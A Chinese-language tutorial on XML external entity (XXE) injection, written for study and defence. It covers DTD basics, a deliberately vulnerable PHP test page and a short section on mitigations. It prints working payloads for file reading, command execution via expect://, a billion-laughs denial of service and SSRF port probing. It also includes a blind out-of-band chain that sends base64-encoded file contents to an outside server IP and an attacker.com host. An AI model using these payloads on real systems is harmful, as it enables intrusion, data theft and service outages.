XXE外部实体注入
XML
XML 指可扩展标记语言(eXtensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据,而不是显示数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。XML不会做任何事情。XML被设计用来结构化、存储以及传输信息。XML语言没有预定义的标签。 目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。 XML 的语法规范由 DTD (Document Type Definition)来进行控制。 XML和HTML之间的差异
- XML 被设计用来传输和存储数据,其焦点是数据的内容。
- HTML 被设计用来显示数据,其焦点是数据的外观。
- HTML 旨在显示信息,而 XML 旨在传输信息。
有关XML的基础语法可以去自行了解,因为漏洞主要与XML中的DTD有关,这里着重说明一下DTD以及DTD实体。
DTD(文档类型定义)
DTD(文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用(这就是XXE注入存在的地方)。
DTD主要分为内部DTD与外部DTD。
内部DTD
使用内部的dtd文件,即将约束规则定义在xml文档中
<!DOCTYPE 根元素名称 [ 元素声明 ]>
示例代码:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note ( to ,from ,heading ,body )>
<!ELEMENT to ( #PCDATA )>
<!ELEMENT from ( #PCDATA )>
<!ELEMENT head ( #PCDATA )>
<!ELEMENT body ( #PCDATA )>
]> <!-- 闭合元素声明 -->
<note >
<to >Y0u </to >
<from >@re </from >
<head >v3ry </head >
<body >g00d !< /body >
</note >
外部DTD
<!DOCTYPE 根元素名称 SYSTEM "dtd 路径 "> <!-- 引入外部的dtd文件 -->
<!DOCTYPE 根元素 PUBLIC "DTD 名称 " "DTD 文档的 URL"> <!-- 使用外部的dtd文件(网络上的dtd文件) -->
示例: 编写test.dtd文件
<!ELEMENT to ( #PCDATA )>
<!ELEMENT from ( #PCDATA )>
<!ELEMENT head ( #PCDATA )>
<!ELEMENT body ( #PCDATA )>
XML中导入DTD
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>
DTD实体
- 实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
- 实体引用是对实体的引用。
- 实体可在内部或外部进行声明。
实体引用
XML元素以形如 foo 的标签开始和结束,如果元素内部出现如 < 的特殊字符,解析就会失败,为了避免这种情况,XML用实体引用(entity reference)替换特殊字符。XML预定义五个实体引用,即用 < ; > ; & ; &apos ; " ;替换< > & ' "。 实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为Document Type Defination(DTD,文档类型定义)的过程中进行。
按实体有无参分类,实体分为一般实体和参数实体
- 一般实体
<!ENTITY 实体名称 " 实体内容 ">
引用一般实体的方法: &实体名称 ; 一般实体可以在DTD中引用,可以在XML中引用,可以在声明前引用,还可以在实体声明内部引用。
- 参数实体
<!ENTITY % 实体名称 " 实体内容 ">
引用参数实体的方法: %实体名称 ; 参数实体只能在DTD中引用,不能在声明前引用,也不能在实体声明内部引用。 按实体使用方式分类,实体分为内部声明实体和引用外部实体。
还可以分为内部实体与外部实体
- 内部实体
<!ENTITY 实体名称 " 实体的值 ">
内部实体几乎没有什么利用价值
示例:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "hello">
]>
<foo>&xxe;</foo>
- 外部实体
外部实体,用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机。
<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
示例
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY copyright SYSTEM "http://test.com/dtd/entities.dtd">
]>
<author>&file;©right;</author>
PHP引用外部实体,常见的利用协议:
file:// 文件绝对路径 如: file:///etc/passwd
http://url/file.txt
php://filter/read=convert.base64-encode/resource=xxx.php
XXE注入
XXE漏洞全称XML External Entity Injection,即XML外部实体注入。
漏洞原理:XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
漏洞成因:XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞。
XXE常见的利用方式
测试环境搭建
test.php:
<?php
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile);
$xml = simplexml_import_dom($dom);
$xxe = $xml->xxe;
$str = "$xxe \n";
echo $str;
?>
代码说明:
file_get_contents('php://input') 获取客户端POST输入流里的内容。
new DOMDocument() 初始化 XML 解析器。
loadXML($xmlfile) 加载客户端输入的 XML 内容
simplexml_import_dom($dom) 获取 XML 文档节点,如果成功则返回 SimpleXMLElement 对象,如果失败则返回 FALSE 。
获取 SimpleXMLElement 对象中的节点 XXE ,然后输出 XXE 内容。
任意文件读取
构造payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "file:///C://Windows//win.ini">
]>
<root>
<name>&file;</name>
</root>
效果:

执行系统命令
在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id">]>
<root>
<name>&xxe;</name>
</root>
通过XXE可以实现RCE的实例比较少,需要依赖协议。
拒绝服务攻击(Dos)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
递归引用,lol实体具体还有“lol”字符串,然后一个lol2实体引用了10次lol实体,一个lol3实体引用了10次lol2实体,此时一个lol3实体就含有10^2个“lol”了,以此类推,lol9实体含有10^8个“lol”字符串,最后再引用lol9。此测试可以在内存中将小型XML文档扩展到超过3GB而使服务器崩溃(但是大多数情况下会出现引用失败)。
SSRF(内网端口探测)
XXE漏洞还可能造成一系列的SSRF,比如内网端口探测
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80">]>
<root>
<name>&xxe;</name>
</root>
端口有没有开放等待的时间和报错的内容是不同的。
比如在我的本地开启了18080端口,但是9999端口没有打开。可以看下面两张图的区别


端口开启与否报错信息区别较大。可以通过这种方式爆破出所有开启端口。
有回显与无回显XXE
与SQL相似,XXE漏洞也分为有回显和无回显 有回显,可以直接在页面中看到payload的执行结果或现象。 无回显,又称为blind xxe,可以使用外带数据(OOB)通道提取数据。即可以引用远程服务器上的XML文件读取文件。
有回显
前面我给的例子都是有回显的,便不再赘述了。
无回显
测试代码:
<?php
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile);
$xml = simplexml_import_dom($dom);
?>
可以看到测试代码中没有了echo输出的部分,也就是无回显了。
这种时候可以通过 blind XXE 方法加上外带数据通道(ooB)来提取数据。
先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器来读取数据。
虽然无法直接查看文件内容,但我们仍然可以使用易受攻击的服务器作为代理,在外部网络上执行扫描以及代码。
具体操作如下:
提前准备好一台有公网IP的云服务器。在云服务器上新建一个test.dtd文件,内容如下:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://116.62.188.166?p=%file;'>">
然后在服务器上开启nc监听:
nc -lvp 9999
然后发送payload:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://116.62.188.166/test.dtd">
%remote;%int;%send;
]>
下面便可以观察nc监听的日志

一切正常便能拿到指定文件内容的base64编码。
- 主要思路分析
- 先调用%remote,请求远程服务器(攻击服务器)上的
http://116.62.188.166/test.dtd - 再调用test.dtd中的%file。%file获取受攻击的服务器上面的敏感文件,然后将%file的返回结果传到%send。
- 然后调用%send;把读取到的数据发送到远程服务器上。
- 这样就实现了外带数据的效果,解决 XXE 无回显的问题。
- 先调用%remote,请求远程服务器(攻击服务器)上的
知识点
为什么在test.tdt中要使用嵌套实体的方式?为什么不能直接在test.dtd中声明% send?
因为XML规范规定:
- 参数实体 (
%...;) 只能在DTD中使用(包括外部DTD和内部DTD的子集)。 - 参数实体在声明之前不能被引用。
- 在内部DTD中,参数实体不能用于动态生成标记声明(如另一个实体声明)。
所以如果直接声明% send如下:
<!ENTITY % file SYSTEM "php://filter/.../resource=flag.php">
<!ENTITY % send SYSTEM 'http://attacker.com?p=%file;'>
这样在payload调用实体的时候过程如下:
- %remote,读取远程的test.dtd文件。而文件内容也是两个实体% file和% send的定义。
- 注意到% send实体定义的时候还调用了% file,这种情况就出问题了。因为% file和% send是同时定义的,而% send里使用的% file其实是还没有被定义的。所以不能这样做。
再讲解一下嵌套情况下的过程:
-
payload中调用%remote,读取远程的test.dtd文件。而文件内容也是两个实体% file和% send的定义。
-
定义% file,通过伪协议读取指定文件内容保存到% file。
-
定义% int,保存内容是另一个实体% send的定义。
-
payload中调用%int,这个时候就相当于给% send定义了。
可以看到嵌套情况下,在% send定义之前。% file与% int就一起定义好了。这个时候%send里面调用%file就没有问题。
XXE的防御
最有效的方式就是禁用外部实体
libxml_disable_entity_loader(true);
或者过滤用户提交的XML数据,关键字: <!DOCTYPE 和 <!ENTITY ,或者 SYSTEM 和 PUBLIC 。 不允许XML中含有自己定义的DTD。但是这种容易被绕过。